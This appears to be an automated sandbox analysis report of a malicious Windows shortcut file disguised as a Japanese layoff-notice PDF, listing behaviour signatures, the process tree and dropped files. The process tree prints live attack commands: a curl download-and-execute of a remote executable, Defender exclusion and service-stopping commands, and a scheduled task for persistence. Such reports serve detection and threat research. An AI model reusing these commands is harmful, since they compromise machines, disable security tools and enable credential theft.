Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/04/2026, 04:06

General

  • Target
    _61ad516612d11eb7ae3859a16bb741671a33a47d720b20b3d5ae63365aedaad5.lnk
  • Size 191KB
  • Sample260417-epe7asez3m
  • SHA256 61ad516612d11eb7ae3859a16bb741671a33a47d720b20b3d5ae63365aedaad5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 4 IoCs
  • Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\_61ad516612d11eb7ae3859a16bb741671a33a47d720b20b3d5ae63365aedaad5.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5092
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c md C:\Users\Admin\AppData\Local\Temp\vzvqljeo 2>nul&powershell -nop -w 1 -c "$n='リストラ通知書..pdf.lnk';$ds=@((gl).Path,[Environment]::GetFolderPath('Desktop'),(Join-Path $env:USERPROFILE 'Downloads'),$env:USERPROFILE,(Join-Path $env:USERPROFILE 'Documents'));$f=$null;$ds|%{$t=Join-Path $_ $n;if(!$f-and(Test-Path $t)){$f=$t}};if(!$f){gci $env:TEMP -r -fi $n -ea 0|select -f 1|%{$f=$_.FullName}};if($f){$b=[IO.File]::ReadAllBytes($f);$o=Join-Path 'C:\Users\Admin\AppData\Local\Temp\vzvqljeo' 'リストラ通知書..pdf';[IO.File]::WriteAllBytes($o,[byte[]]$b[4433..196053]);saps $o}"&set el=cu&set iz=rl.exe&call %el%%iz% -s -o C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe https://storage.googleapis.com/opentokenaiit/newgram.exe&start /b C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w 1 -c "$n='リストラ通知書..pdf.lnk';$ds=@((gl).Path,[Environment]::GetFolderPath('Desktop'),(Join-Path $env:USERPROFILE 'Downloads'),$env:USERPROFILE,(Join-Path $env:USERPROFILE 'Documents'));$f=$null;$ds|%{$t=Join-Path $_ $n;if(!$f-and(Test-Path $t)){$f=$t}};if(!$f){gci $env:TEMP -r -fi $n -ea 0|select -f 1|%{$f=$_.FullName}};if($f){$b=[IO.File]::ReadAllBytes($f);$o=Join-Path 'C:\Users\Admin\AppData\Local\Temp\vzvqljeo' 'リストラ通知書..pdf';[IO.File]::WriteAllBytes($o,[byte[]]$b[4433..196053]);saps $o}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2108
      • C:\Windows\system32\curl.exe
        curl.exe -s -o C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe https://storage.googleapis.com/opentokenaiit/newgram.exe
        3⤵
        • Downloads MZ/PE file
        PID:5548
      • C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe
        C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe
        3⤵
        • Enumerates VirtualBox registry keys
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3964
        • C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe
          "C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe"
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender notification settings
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3108
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppNetSvc','C:\Users\Admin\AppData\Local\Temp','C:\ProgramData\Microsoft\WinDiagTrack' -Force"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3392
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c net stop WinDefend /y >nul 2>&1 & net stop wscsvc /y >nul 2>&1 & net stop Sense /y >nul 2>&1
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4420
            • C:\Windows\system32\net.exe
              net stop WinDefend /y
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5640
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop WinDefend /y
                7⤵
                  PID:5524
              • C:\Windows\system32\net.exe
                net stop wscsvc /y
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:660
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop wscsvc /y
                  7⤵
                    PID:4320
                • C:\Windows\system32\net.exe
                  net stop Sense /y
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2824
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop Sense /y
                    7⤵
                      PID:3236
              • C:\Windows\System32\Wbem\mofcomp.exe
                mofcomp.exe "C:\Users\Admin\AppData\Local\Temp\_wd.mof"
                4⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4476
              • C:\Windows\System32\Wbem\mofcomp.exe
                mofcomp.exe "C:\Users\Admin\AppData\Local\Temp\_ws.mof"
                4⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5588
              • C:\Windows\system32\schtasks.exe
                "schtasks" /create /tn \Microsoft\Windows\WindowsUpdate\AutoUpdate /tr C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe /sc ONLOGON /ru SYSTEM /rl HIGHEST /f
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5904
        • C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe
          C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3084
        • C:\ProgramData\Microsoft\WinDiagTrack\usoclient64.exe
          C:\ProgramData\Microsoft\WinDiagTrack\usoclient64.exe
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2528
        • C:\ProgramData\Microsoft\WinDiagTrack\SysProfileSvc.exe
          C:\ProgramData\Microsoft\WinDiagTrack\SysProfileSvc.exe
          1⤵
          • Executes dropped EXE
          PID:2440
        • C:\ProgramData\Microsoft\WinDiagTrack\DevCfgCC.sys
          C:\ProgramData\Microsoft\WinDiagTrack\DevCfgCC.sys
          1⤵
          • Executes dropped EXE
          PID:780

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              DevCfgCC.sys

              • Path C:\ProgramData\Microsoft\WinDiagTrack\DevCfgCC.sys
              • Size 19KB
              • SHA256 6fbaad2f00afaa94723fa7d5bd46e7ea4babb7ce478a8e7229ce7bd4b85e0f51
              • MD5 SHA1 SHA512 SSDEEP TLSH

              SysProfileSvc.exe

              • Path C:\ProgramData\Microsoft\WinDiagTrack\SysProfileSvc.exe
              • Size 194KB
              • SHA256 929f9e5d0c6d1e9c7dd039cf7b9e7054dbf781b70d960228850e5b7884c9f78e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              dnssd.dll

              • Path C:\Users\Admin\AppData\Local\AppNetSvc\dnssd.dll
              • Size 373KB
              • SHA256 d2ae850b0488951ea8ab1873fa5af7a4b0f1318a2ab8a36c01c9f399ba0800ca
              • MD5 SHA1 SHA512 SSDEEP TLSH

              runtime.bin

              • Path C:\Users\Admin\AppData\Local\AppNetSvc\runtime.bin
              • Size 323KB
              • SHA256 2594b7fbab846e6c07db7d12b93aa333e742468e165c7aa46a1f6dc31404ee10
              • MD5 SHA1 SHA512 SSDEEP TLSH

              usoclient64.exe

              • Path C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe
              • Size 116KB
              • SHA256 319f8de530c43ef2c0b5d4226ffdf2737c3a9c35dbc7efb8ebfc3312b5dac552
              • MD5 SHA1 SHA512 SSDEEP TLSH

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 db7cc4d433dea113bf72514e5efae2dd9cd042d62c1c457a66f850b635bbe57d
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_q4k2zmft.bja.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4k2zmft.bja.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              _wd.mof

              • Path C:\Users\Admin\AppData\Local\Temp\_wd.mof
              • Size 349B
              • SHA256 4893ece6669058bf6e2c3655ccba8f00ef61158457451929e78cbc64d0deee01
              • MD5 SHA1 SHA512 TLSH

              _ws.mof

              • Path C:\Users\Admin\AppData\Local\Temp\_ws.mof
              • Size 518B
              • SHA256 acecee636a9e2ff0eeb7b736a45080325def878fea9689cdcb8a24f3c72ec5ea
              • MD5 SHA1 SHA512 TLSH

              stub_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stub_debug.log
              • Size 201B
              • SHA256 e04656e8bf424b524c512327166716b5cd688331087b97c32b88725776c07930
              • MD5 SHA1 SHA512 TLSH

              RuntimeBroker.exe

              • Path C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe
              • Size 3.1MB
              • SHA256 ad022169abf4e46161eb007fde2a9c3841d73cdb9d8e895719321348d7d28c2b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/2108-9-0x000001FBCB610000-0x000001FBCB620000-memory.dmp

              memory/2108-13-0x000001FBE5540000-0x000001FBE5CEE000-memory.dmp

              memory/2108-14-0x000001FBE54E0000-0x000001FBE54F2000-memory.dmp

              memory/2108-1-0x000001FBCB610000-0x000001FBCB620000-memory.dmp

              memory/2108-12-0x000001FBCB620000-0x000001FBCB62C000-memory.dmp

              memory/2108-2-0x000001FBE5510000-0x000001FBE5532000-memory.dmp

              memory/2108-0-0x000001FBCB610000-0x000001FBCB620000-memory.dmp

              memory/3108-108-0x0000000002860000-0x000000000300E000-memory.dmp

              memory/3108-99-0x0000000000E40000-0x0000000000E97000-memory.dmp

              memory/3108-79-0x0000000000E40000-0x0000000000E97000-memory.dmp

              memory/3392-54-0x0000019F4A0D0000-0x0000019F4A183000-memory.dmp

              memory/3392-65-0x0000019F49E90000-0x0000019F49E98000-memory.dmp

              memory/3392-66-0x0000019F4A3E0000-0x0000019F4A3E6000-memory.dmp

              memory/3392-67-0x0000019F4A3F0000-0x0000019F4A3FA000-memory.dmp

              memory/3392-69-0x0000019F30F00000-0x0000019F30F0C000-memory.dmp

              memory/3392-71-0x0000019F49420000-0x0000019F49432000-memory.dmp

              memory/3392-70-0x0000019F49520000-0x0000019F49CCE000-memory.dmp

              memory/3392-61-0x0000019F4A400000-0x0000019F4A41A000-memory.dmp

              memory/3392-60-0x0000019F49E80000-0x0000019F49E8A000-memory.dmp

              memory/3392-59-0x0000019F49EA0000-0x0000019F49EBC000-memory.dmp

              memory/3392-58-0x0000019F49E70000-0x0000019F49E7A000-memory.dmp

              memory/3392-52-0x0000019F49E50000-0x0000019F49E6C000-memory.dmp

              memory/5092-18-0x00000217A8350000-0x00000217A835C000-memory.dmp